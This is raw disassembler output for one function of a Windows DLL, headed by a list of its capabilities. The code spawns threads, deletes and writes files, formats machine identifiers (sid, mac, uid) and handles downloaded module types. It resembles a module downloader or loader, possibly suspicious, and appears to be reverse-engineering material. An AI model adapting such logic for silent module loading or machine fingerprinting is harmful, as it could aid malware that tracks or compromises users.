Function at 0x1800129d0
Capabilities:
Create directory
Create thread
Delete file
Resume thread

Disassembly:
push rbx
push rsi
push rdi
push r12
push r14
sub rsp, 0x1b0
mov rax, qword [0x1800393f8]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rbx, r8
mov rsi, rdx
mov r14, rcx
mov qword [rsp + 0x50], rcx
test rdx, rdx
jne 0x180012a65
mov rdx, qword [0x18003e108]
test rdx, rdx
jne 0x180012a5a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18002e55b]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [0x18002e55b]
call fcn.180001340
lea ecx, [rsi + 0x24]
mov rdx, rax
mov qword [0x18003e108], rax
call fcn.1800073d0
mov rcx, qword [0x18003e108]
lea edx, [rsi + 8]
call fcn.180005c20
mov rdx, qword [0x18003e108]
mov rdx, qword [rdx + 8]
xor ecx, ecx
call fcn.180001ab0
lea rcx, [0x18003ba08]
mov qword [0x18003dfb8], rbx
mov qword [0x18003dfc0], r14
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x18003be60]
mov byte [0x18003ba00], 1
call fcn.1800010a0
test rax, rax
jne 0x180012aa0
xor r12d, r12d
mov rax, r12
jmp 0x180012aca
xor r12d, r12d
lea rcx, [0x18000dce0]
mov dword [rax], 0xa
mov dword [rax + 4], 2
mov dword [rax + 8], 8
mov qword [rax + 0x18], rcx
mov dword [rax + 0xc], r12d
mov qword [rax + 0x10], r12
mov rcx, qword [0x18003be60]
mov qword [0x18003be48], rax
call fcn.1800010a0
test rax, rax
jne 0x180012ae7
mov rax, r12
jmp 0x180012b0e
lea rcx, [fcn.1800012d0]
mov dword [rax], 0xa
mov dword [rax + 4], 2
mov dword [rax + 8], 8
mov dword [rax + 0xc], r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rcx
mov qword [0x18003ba40], rax
mov byte [0x18003ba30], 0
mov dword [0x18003ba34], r12d
call fcn.180006d90
mov qword [0x18003ba38], rax
call fcn.180012380
mov word [0x18003ba60], ax
cmp r12w, ax
jne 0x180012b57
lea rcx, [0x180033760]
xor edx, edx
call fcn.180003eb0
or eax, 0xffffffff
jmp 0x180013481
call fcn.1800124e0
mov word [0x18003ba62], ax
cmp r12w, ax
jne 0x180012b81
lea rcx, [0x180033778]
xor edx, edx
call fcn.180003eb0
mov eax, 0xfffffffe
jmp 0x180013481
call fcn.180012580
mov word [0x18003ba64], ax
cmp r12w, ax
jne 0x180012bab
lea rcx, [0x180033798]
xor edx, edx
call fcn.180003eb0
mov eax, 0xfffffffd
jmp 0x180013481
movzx r8d, word [0x18003ba62]
movzx edx, word [0x18003ba60]
lea rcx, [0x1800337b0]
movzx r9d, ax
mov qword [rsp + 0x1f0], rbp
mov qword [rsp + 0x1a0], r15
call fcn.180003eb0
call fcn.18000d5d0
xor edx, edx
mov qword [0x18003be40], rax
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movzx edx, word [0x18003ba60]
lea rcx, [0x18003ba68]
call fcn.18000ecf0
mov rcx, qword [rsi + 8]
call fcn.18000fde0
mov rcx, qword [0x18003be48]
call fcn.18000df70
test eax, eax
jle 0x180012d70
lea rax, [rsp + 0x40]
lea r8, [0x18000f230]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x180012c62
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [0x18003ba48], rdi
jmp 0x180012c69
mov rdi, qword [0x18003ba48]
mov edx, 0x2710
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x180012c94
mov rcx, qword [0x18003ba48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x1800337c8]
call fcn.180003eb0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 3
cmp dword [0x18003ba78], 0
jg 0x180012cb8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rdi, 1
jne 0x180012ca4
lea rcx, [0x1800337e0]
call fcn.180003eb0
mov rdx, qword [0x18003be48]
lea rcx, [0x18003ba68]
mov r8b, 1
call fcn.18000edf0
mov r8, qword [0x18003be48]
mov edx, r12d
mov esi, dword [r8 + 0xc]
mov edi, r12d
mov rcx, r12
test esi, esi
jle 0x180012d70
cmp edx, esi
jge 0x180012d0b
test rcx, rcx
js 0x180012d0b
mov rax, qword [r8 + 0x10]
mov rax, qword [rax + rcx*8]
jmp 0x180012d0e
mov rax, r12
cmp dword [rax + 0x50], 0
jne 0x180012d16
inc edi
inc edx
inc rcx
cmp edx, esi
jl 0x180012cf8
test edi, edi
jle 0x180012d70
mov edi, 3
nop dword [rax + rax]
mov eax, dword [0x18003ba78]
dec eax
cmp eax, 2
ja 0x180012d48
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rdi, 1
jne 0x180012d30
lea rcx, [0x180033800]
call fcn.180003eb0
mov rdx, qword [0x18003be48]
lea rcx, [0x18003ba68]
xor r8d, r8d
call fcn.18000edf0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or r8, 0xffffffffffffffff
mov rcx, rax
or rdx, r8
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
lea rdi, [0x18003bdb8]
lea rbx, [0x18003be58]
nop word [rax + rax]
lea r9, [rdi - 0x18]
lea rax, [rsp + 0x40]
lea r8, [0x18000e880]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov byte [r9], 1
mov byte [rdi - 0x17], 0
mov word [rdi - 2], r12w
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
je 0x180012ded
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test rdi, rdi
je 0x180012ded
mov qword [rdi], rsi
add rdi, 0x20
cmp rdi, rbx
jl 0x180012da0
lea rax, [rsp + 0x40]
lea r8, [0x18000f790]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x180012e34
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [0x18003ba50], rdi
lea rax, [rsp + 0x40]
lea r8, [0x18000fb40]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x180012e72
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov qword [0x18003ba58], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or r8, 0xffffffffffffffff
mov rcx, rax
or rdx, r8
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov r8, qword [0x18003be48]
mov edx, r12d
mov edi, dword [r8 + 0xc]
mov esi, r12d
mov rcx, r12
test edi, edi
jle 0x180012ec7
cmp edx, edi
jge 0x180012eb3
test rcx, rcx
js 0x180012eb3
mov rax, qword [r8 + 0x10]
mov rax, qword [rax + rcx*8]
jmp 0x180012eb6
mov rax, r12
cmp dword [rax + 0x50], 0
jne 0x180012ebe
inc esi
inc edx
inc rcx
cmp edx, edi
jl 0x180012ea0
lea rcx, str.URL
mov edx, esi
call fcn.180003eb0
mov rcx, qword [0x18003be48]
mov ebx, r12d
mov eax, dword [rcx + 0xc]
mov rsi, r12
mov ebp, 1
test eax, eax
jle 0x180012f36
nop
cmp ebx, eax
jge 0x180012f03
test rsi, rsi
js 0x180012f03
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax + rsi*8]
jmp 0x180012f06
mov rdi, r12
cmp dword [rdi + 0x50], 0
jne 0x180012f2a
mov rdx, qword [rdi]
mov rdx, qword [rdx + 8]
call fcn.18000f0e0
or edx, 0xffffffff
test eax, eax
cmove edx, ebp
mov dword [rdi + 0x50], edx
mov rcx, qword [0x18003be48]
mov eax, dword [rcx + 0xc]
inc ebx
inc rsi
cmp ebx, eax
jl 0x180012ef0
lea rcx, [0x18003ba68]
call fcn.18000ef70
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or r8, 0xffffffffffffffff
mov rcx, rax
or rdx, r8
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [0x18003be48]
mov r15d, r12d
mov ecx, dword [rax + 0xc]
test ecx, ecx
jle 0x18001346f
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x48], r12
mov r13, r12
nop dword [rax]
cmp r15d, ecx
jge 0x180012f95
test r15d, r15d
js 0x180012f95
mov rax, qword [rax + 0x10]
mov rbp, qword [r13 + rax]
jmp 0x180012f98
mov rbp, r12
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
mov r9d, dword [rbp + 0x50]
mov r8, qword [r8 + 8]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x28], ecx
lea rcx, str.proc___s___s___d_0000__d__d
mov dword [rsp + 0x20], r15d
call fcn.180003eb0
cmp dword [rbp + 0x50], 1
jne 0x180013448
mov rax, qword [r14 + 8]
mov r8, qword [rbp + 0x38]
mov r9, qword [0x18003dfe8]
mov r9, qword [r9 + 8]
mov r8, qword [r8 + 8]
mov qword [rsp + 0x30], rax
mov rax, qword [0x18003dfc8]
lea rdx, str._s__sid:_s__mac:_s__uid:_s__p2pshm:_s
mov rcx, qword [rax + 8]
mov rax, qword [0x18003dfe0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp + 0x60]
call fcn.180001b60
mov rcx, qword [rbp + 0x20]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rbp + 0x18]
mov rcx, qword [rcx + 8]
call fcn.180002090
mov rsi, qword [rbp + 0x40]
lea rdi, [0x18002e5b8]
mov rsi, qword [rsi + 8]
mov ecx, 5
mov rbx, rax
repe cmpsb byte [rsi], byte [rdi]
je 0x180013057
mov rcx, rax
call fcn.180001e20
jmp 0x18001306b
mov rdx, qword [rbp + 8]
lea rcx, [0x180033888]
mov rdx, qword [rdx + 8]
call fcn.180003eb0
mov rax, qword [rbp + 0x48]
cmp dword [rax + 4], 0
jle 0x180013086
mov edx, dword [rbx + 4]
mov rcx, qword [rbx + 8]
xor r8d, r8d
call fcn.180003850
jmp 0x18001309a
mov rdx, qword [rbp + 8]
lea rcx, [0x1800338a0]
mov rdx, qword [rdx + 8]
call fcn.180003eb0
mov rcx, qword [rbp + 0x20]
mov r8d, dword [rbx + 4]
mov rdx, qword [rbx + 8]
mov rcx, qword [rcx + 8]
call fcn.180003b80
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rdx + 8]
lea rdx, [0x18003322c]
call fcn.1800184e4
test rax, rax
je 0x1800130f7
mov rcx, qword [rbp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov rcx, qword [rcx + 8]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, qword [rbp + 0x28]
lea rdi, str.mdll
mov ecx, 5
mov rsi, qword [rsi + 8]
repe cmpsb byte [rsi], byte [rdi]
jne 0x1800131fc
mov r8, qword [rbp + 0x20]
lea rdx, str._pathdl:_s
lea rcx, [rsp + 0x70]
mov r8, qword [r8 + 8]
call fcn.180018350
mov r13, qword [rbp + 0x60]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x70]
repne scasb al, byte [rdi]
mov edi, dword [r13]
not rcx
lea r14, [rcx - 1]
add ecx, dword [r13 + 4]
cmp ecx, edi
jl 0x1800131cd
mov rsi, qword [r13 + 8]
mov rdx, r13
call fcn.180001120
movsxd r8, dword [r13 + 4]
mov rdx, rsi
mov rcx, rax
mov qword [r13 + 8], rax
call fcn.180020690
test edi, edi
jle 0x1800131cd
mov edx, r12d
mov rbx, r12
lea rax, reloc.WS2_32.dll_recv
cmp edi, dword [rax]
jle 0x18001319c
inc edx
inc rbx
add rax, 0x10
cmp edx, 4
jb 0x180013180
mov rcx, rsi
call fcn.1800183ec
jmp 0x1800131cd
lea rax, [0x18003a9d0]
add rbx, rbx
lea rdi, [rsi - 8]
mov rbx, qword [rax + rbx*8]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbx + 8]
lea rcx, [rbx + 0x20]
mov qword [rdi], rax
mov qword [rbx + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsxd rcx, dword [r13 + 4]
lea rdx, [rsp + 0x70]
movsxd r8, r14d
add rcx, qword [r13 + 8]
call fcn.180020690
add dword [r13 + 4], r14d
movsxd rcx, dword [r13 + 4]
mov rax, qword [r13 + 8]
mov r14, qword [rsp + 0x50]
mov r13, qword [rsp + 0x48]
mov byte [rcx + rax], 0
mov rax, qword [rbp + 0x28]
lea rdx, [0x18003322c]
mov rcx, qword [rax + 8]
call fcn.1800184e4
test rax, rax
je 0x180013265
lea rax, [rsp + 0x40]
lea r8, [0x180012620]
mov r9, rbp
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 4
lea rsi, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x180013448
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test rsi, rsi
je 0x180013448
mov qword [rsi], rdi
jmp 0x180013448
mov rax, qword [rbp + 0x28]
lea rdi, [0x180033230]
mov ecx, 4
mov rdx, qword [rax + 8]
mov rsi, rdx
repe cmpsb byte [rsi], byte [rdi]
jne 0x180013414
mov r8, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x20]
lea rcx, str._s__s
mov r8, qword [r8 + 8]
mov rdx, qword [rdx + 8]
call fcn.180001930
mov rcx, qword [r14 + 8]
mov qword [rsp + 0x60], r12
mov rbp, rax
lea rax, vtable.CXP2PPlat.0
mov qword [rsp + 0x58], rax
call fcn.180006550
mov rdi, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x1800132fb
cmp dword [rax + 0x18], 0x333d0
je 0x180013382
cmp dword [rax], 0
jne 0x1800132e6
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.1800183ec
mov rdi, r12
mov rdx, qword [rbp + 8]
lea rcx, [0x1800338e0]
call fcn.180003eb0
mov rcx, qword [rbp + 8]
call fcn.180005ff0
mov ecx, eax
call fcn.1800134f0
test rdi, rdi
je 0x180013341
cmp dword [rdi], 0
jne 0x18001332f
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.1800183ec
mov rdi, qword [rbp + 8]
test rdi, rdi
je 0x1800133e8
mov ecx, dword [rbp]
test ecx, ecx
jle 0x1800133e8
mov edx, r12d
mov rbx, r12
lea rax, reloc.WS2_32.dll_recv
cmp ecx, dword [rax]
jle 0x1800133b7
inc edx
inc rbx
add rax, 0x10
cmp edx, 4
jb 0x180013366
mov rcx, rdi
call fcn.1800183ec
jmp 0x1800133e8
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1800132fb
mov rdx, qword [rbp + 8]
lea rcx, str.explorer
call fcn.180003eb0
mov rdx, qword [rbp + 8]
lea rcx, [rsp + 0x58]
call fcn.18000d740
jmp 0x18001331b
lea rax, [0x18003a9d0]
add rbx, rbx
add rdi, 0xfffffffffffffff8
mov rbx, qword [rax + rbx*8]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbx + 8]
lea rcx, [rbx + 0x20]
mov qword [rdi], rax
mov qword [rbx + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [0x18003be50]
lea rdi, [rbp - 8]
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbx + 8]
lea rcx, [rbx + 0x20]
mov qword [rdi], rax
mov qword [rbx + 8], rdi
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x180013448
lea rdi, [0x1800338f8]
mov rsi, rdx
mov ecx, 4
repe cmpsb byte [rsi], byte [rdi]
jne 0x180013448
mov rdx, qword [rbp + 0x20]
lea rcx, [0x180033900]
mov rdx, qword [rdx + 8]
call fcn.180003eb0
mov rcx, qword [rbp + 0x20]
mov rcx, qword [rcx + 8]
call fcn.180005ae0
mov rax, qword [0x18003be48]
add r13, 8
inc r15d
mov ecx, dword [rax + 0xc]
mov qword [rsp + 0x48], r13
cmp r15d, ecx
jl 0x180012f80
mov r13, qword [rsp + 0x1a8]
mov r15, qword [rsp + 0x1a0]
mov rbp, qword [rsp + 0x1f0]
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.180018330
add rsp, 0x1b0
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret